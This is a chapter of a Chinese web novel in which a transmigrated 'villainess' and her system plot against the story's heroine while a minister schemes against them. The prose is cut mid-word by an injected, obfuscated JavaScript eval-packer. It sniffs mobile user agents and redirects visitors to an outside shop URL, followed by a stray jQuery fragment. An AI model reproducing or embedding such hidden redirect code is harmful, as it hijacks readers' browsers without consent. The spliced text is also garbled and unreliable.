【获得一首被涂掉的情诗,其余信息暂待解锁。经检测,该诗与女主“柳清圆”人设崩坏有重大关联!已存入空间。】
【获得一个装有“合情香”花粉的香囊,此为花妖支线关键线索,内含春日宴花妖NPC妖毒残余,危险评级:四颗星。角色“柳知微”嫌疑上升!宿主已获缉妖司重点关注,请尽快定夺!】
柳知微扫了眼系统弹窗,眉梢微微一挑。
“春日宴那天的妖气残留?”她把那条信息又读了一遍,捏着下巴思索片刻,“这香囊里的是合情香?不对啊,我之前那份不是全用在封瑾遥身上了吗?这又是从哪儿冒出来的?还是从柳清圆身上掉下来的……”
她顿了顿,忽然觉得后脖颈有点凉。不是,该不会自己被女主摆了一道吧?
柳清圆要是重生了,或者干脆有了什么预知能力,再有医毒双修的设定加持,那她趁自己动手之前偷偷换掉或者复刻一份合情香,也不是不可能。
柳知微回忆了一下春日宴上柳清圆那些反常举动,明明应该和封瑾遥有互动的人,全程躲得跟躲瘟神似的。还有那会儿拦住她,莫名其妙来一句“别把那东西送出去”,当时她还以为女主脑子抽了。
再加上春日宴前夕,柳知微摸黑溜进柳清圆房里换衣服,就听见她梦游的时候嘴里翻来覆去念叨什么“火”“阿爷”“婶娘”……
柳知微眼睛一亮。
“系统,女主的人设崩坏,跟预知梦有关系吧?”
【bingo!恭喜宿主大大发现盲点,解锁关键词:“作梦中梦,见身外身”,“女主人设崩坏”支线探索进度25%!】
【奖励已发放,明晚便可降落于柳府听雨轩。宿主可获得对女主进行一次性催眠的机会,时限十五分钟。请速速前往听雨轩,在确保不暴露身份的前提下,对女主进行催眠,套出支线线索!】
柳知微看完奖励说明,嘴角慢慢翘起来。
“统子,你可真算是有用了一回哦。”她把香囊收进袖中,理了理衣襟,转身朝听雨轩的方向走去,步子不急不慢,眼底却带着几分跃跃欲试的光。
按照系统规定,在古早虐恋文里,女主重生这种情况是严格禁止的,属于重大bug。只要柳知微能证实女主确实重生了,她就有机会直接向系统申请抹除这个bug。到那时候,所有女主被虐的剧情都能一键跳过,而她则可以趁机夺舍女主,名正言顺地掌控整个世界,随心所欲。
芝麻的狗耳朵抖了抖:【宿主大大,你这恶毒女配的味儿又出来了。】
“闭嘴。”柳知微吹熄烛火,室内陷入黑暗,只有月光透过窗棂,在地上洒下斑驳银辉。
“大姐姐,”她轻声道,声音散在夜风里,“你可要好好配合啊,毕竟你说过的,我是你最最喜欢的妹妹啊。”
“所以,要说话算话哦。”
柳知微心情十分愉悦,她移开衣袖,底下露出一枚兔子模样的糕点。她将兔子糕轻轻放进小狗嘴里。
“嗯,如今也是有狗的人了。”她揉了揉小狗的脑袋,“好好做任务,赚狗粮。”
系统:[TVT呜呜呜,宿主大大么么哒~]
得遇如此主人,纵为犬马亦不枉。
……
春日宴祸起两日后,封相府内。
还未进花厅,便听见里头传来瓷器碎裂的声响。封相的怒喝穿透门廊:“一群废物!两天了,连个妖气的源头都摸不清,缉妖司养你们吃白饭吗?!”
纪双扉脚步未顿,示意引路的仆从不必通报,径自掀帘而入。
厅内一片狼藉,几名缉妖司的法术师都垂首站着,地上是泼开的茶渍和碎瓷。封相背对着门,胸膛剧烈起伏,听见动静猛地回头,目光落在纪双扉身上时,微微一顿。
“封相大人。”纪双扉抱拳一礼,神色沉稳。
“双扉,你来得正好。”封相挥手屏退左右,待厅中只剩二人,才沉声道,“这帮家伙全是些废物,可怜我家瑾遥现在还是疯疯癫癫的……你今日来可是已经有进展了?”
纪双扉上前半步,压低声音:“属下连日以寻踪之术遍查城中妖气,今日终于有了眉目,那妖气的源头,正在柳府那二位小姐身上。”
封相目光骤然凝结:“柳清圆和柳知微?”
“正是。”纪双扉面色凝重,“臣反复验证,绝无差错。封公子与柳家女同席落水,而后癫狂至此,恐怕正是因那二位小姐身上所携妖物作祟。”
封相一掌拍在桌案上,青瓷茶盏震得哐当作响:“果然是柳家!”
“大人息怒。”纪双扉抬眼,声音更沉了几分,“属下另有一策,或可救回公子。”
“说。”
“缉妖司有一秘法,名曰‘搜魂’。若能在当事人不抵抗之时施法,可探知其昏迷前最深刻的记忆碎片。那日究竟是何妖邪作祟、又该如何化解,此法或能窥见端倪,找到救治公子的关键。若能将那二位带来施法,余下的问题便可迎刃而解。”
封相眉头紧锁:“搜魂……此法可有损伤?要是查到本相头上该如何?”
纪双扉略一停顿,神色坦然:“搜魂之后,寻常人皆会神志不清,而且属下会抹除她们的部分记忆。这于大人而言,反倒无甚妨碍。”
厅中寂静片刻。封相缓缓抬眼,目光深沉地盯着他:“继续说下去。”
纪双扉唇角一勾:“封相大人与柳尚书私交甚笃,想来为了替封相大人分忧,柳尚书该是舍得自己那两个女儿的。属下近日夜观星象,柳家长女柳清圆与封公子堪称天作之合,若能结为连理,在婚礼上借她之命,便可破封公子的‘障’。至于破解所需的牵引之人……柳家女柳知微最合适不过,不知这法子,可还合封相大人心意?”
他垂下眼帘,声音平稳如常:“臣受大人提拔多年,无以为报。封公子的病,不能再拖了。”
封相盯着他看了许久,终于眼带赞许地拍了拍他的肩头:“……好!双扉啊,不枉我提拔你们纪家兄弟一场,果然真心为我分忧!比这些酒囊饭袋强多了。”
“柳文渊那只老狐狸与我封家尚有婚约在身,此时正该他表露忠心。不过在那之前,你要尽快对柳知微那毒妇施展搜魂之术。听说她竟清醒了过来,真是命大!我要让她也尝尝我孩儿受过的苦楚。这几日柳文渊那边我自会安排,一有消息便告知于你,只等时机一到,瓮中捉鳖!”
“大人放心。”纪双扉抱拳,“臣定不负所托。”
话音刚落,一阵慌乱的脚步声由远及近,仆役连滚带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576310|205015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爬冲进花厅,脸色煞白:“相爷!不好了!公子他、他又发作了,这次……这次呕出血来了!”
封相脸色骤变,拂袖便往后院赶。纪双扉默默跟上,袖中的手悄然握紧。
……
婚期定在四月十八,柳府上下这些日子忙得脚不沾地,全是为着和封家那场婚事。柳文渊自然是求之不得。他原还担心着,柳知微那么一闹,封相这棵大树怕是就此别过,他心慌了好一阵,甚至想过让柳知微赶紧去赔罪领罚,好保住柳家。如今封相居然还肯续这门亲,他已是喜出望外。
柳文渊本想让柳知微去跪祠堂,免得她又闹出什么乱子,可这些天柳知微倒也安分,没再生事,他更是暗自得意。只是仍不忘叮嘱下人,别让柳知微靠近听雨轩,还要盯紧了她,只许她在自己院里好好思过,尽管柳知微向来拿他的话当放屁。
柳知微没事儿就跑到听雨轩那边溜达,她留意到,听雨轩外守卫比平日更严密,除了柳府的人还有一些封相派来的人,明为保护实为监视。
这几日柳清圆却是安静待在房中,试嫁衣,听礼仪,偶尔发呆,一副待嫁少女的模样,完美无瑕。
柳知微开始好奇,柳清圆到底是怎么想的。
她穿越万世,见过太多所谓“虐恋文”里的女主。那些女子总像出自同一个模子:骨子里刻着牺牲,自愿为男主挡剑,为家族承受屈辱,为所谓爱情吞下一切误解。她们善良得近乎天真,却也因此承受着最深的苦。
故事总爱将她们放在低微的位置,却又赋予她们强烈的道德感。当她们面对那个衣冠楚楚、视女人为附庸的男主时,那份不甘堕落,反被讥为“自命清高”。男人的强权成了调情,替身、契约、病痛——都成了故事的妆点。她们越是柔弱,越是将凋零,在作者笔下反而越美、越珍贵。
痛楚被当作/爱的深度,拒绝被解作真爱的试炼。
等到将她的尊严与自我碾碎殆尽,故事便施舍般地转向“追妻火葬场”。于是男主给出许多许多“爱”,结局圆满。
可她失去的健康、快乐、生命,还有向上生长的一切,谁来还呢?故事会说:但她得到了一个疼她的夫君。
有没有人想过,她或许根本不需要这些。她本来可以过得很好。她的母亲,只愿女儿平安喜乐。
柳知微早就看腻了这样的人设。
柳清圆也会一样吗?温顺地、沉默地,嫁给她一个众所周知的疯子,当个麻木的冲喜物件?
她不会让这种事发生。
系统幽幽出声:[宿主大大!喜欢就去抢,想带她走就走。怜香惜玉是本性,憋找这么多借口!]
柳知微拍拍它的狗头:“闲着就去找屎吃,憋等着我喂你吃黄金大餐。”
芝麻小狗狗:汪汪汪喂我花生。
柳知微没再搭理它。任务固然是一半理由,可她劫花轿、夺新娘,不是冲着杀柳清圆去的。
恶毒女配的剧本早就过时了,她现在要杀的是男主。
但她更想试试看,若是女主亲手杀了命定的男主,这方小世界会乱成什么样。
天道五十,天衍四九,人遁其一。
她倒要看看,这天定的命数,她撕不撕得碎。不为嫁祸,而为快意,忤逆天道的欢愉。